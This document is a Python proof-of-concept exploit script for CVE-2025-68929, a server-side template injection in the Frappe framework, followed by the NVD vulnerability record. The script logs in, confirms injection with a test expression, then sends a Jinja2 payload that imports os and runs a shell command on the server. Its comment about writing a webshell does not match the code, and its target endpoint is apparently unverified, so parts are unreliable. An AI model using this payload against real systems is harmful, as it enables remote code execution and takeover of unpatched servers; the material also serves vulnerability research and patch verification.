CVE-2025-68929

# CVE-2025-68929 PoC - Frappe Template Injection RCE # Tested on Frappe versions < 14.99.6 and < 15.88.1 import requests import re from urllib.parse import quote TARGET_URL = "https://vulnerable-frappe-site.com" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to Frappe and obtain session cookie""" login_url = f"{TARGET_URL}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=data, timeout=30) return response.status_code == 200 def detect_ssti(session, target_user_id): """Test for SSTI vulnerability using basic expression""" # Test expression: {{7*7}} test_payload = "{{7*7}}" # Craft malicious link that will be clicked by target user malicious_url = f"{TARGET_URL}/app/workspace/view?template={quote(test_payload)}" # Simulate victim clicking the link response = session.get(malicious_url, timeout=30) if "49" in response.text: print("[+] SSTI vulnerability confirmed!") return True return False def exploit_rce(session, target_user_id): """Execute arbitrary code via Jinja2 template injection""" # RCE payload using Jinja2 template injection # This payload writes a webshell to the system rce_payload = """ {{lipsum.__globals__.__builtins__.__import__('os').popen(request.args.cmd).read()}} """ exploit_url = f"{TARGET_URL}/app/workspace/view" params = { "template": rce_payload.strip(), "cmd": "whoami" } response = session.get(exploit_url, params=params, timeout=30) if response.status_code == 200: print("[+] RCE successful!") return True return False def main(): session = requests.Session() print("[*] Starting CVE-2025-68929 exploitation...") if login(session): print("[+] Login successful") else: print("[-] Login failed") return if detect_ssti(session, "target_user"): print("[*] Proceeding with RCE exploit...") exploit_rce(session, "target_user") else: print("[-] SSTI not detected") if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires valid credentials and victim interaction. # Use only in authorized penetration testing scenarios.

{"cve": {"id": "CVE-2025-68929", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:02.033", "lastModified": "2025-12-31T20:02:50.403", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe is a full-stack web application framework. Prior to versions 14.99.6 and 15.88.1, an authenticated user with specific permissions could be tricked into accessing a specially crafted link. This could lead to a malicious template being executed on the server, resulting in remote code execution. Versions 14.99.6 and 15.88.1 fix the issue. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.99.6", "matchCriteriaId": "EA87372E-A185-4E1A-B785-2767B3870D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.88.1", "matchCriteriaId": "1127BD2C-5599-46F5-89BF-684AF0D8FE52"}]}]}], "references": [{"url": "https://github.com/frappe/frappe/releases/tag/v14.99.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/frappe/releases/tag/v15.88.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/frappe/security/advisories/GHSA-qq98-vfv9-xmxh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}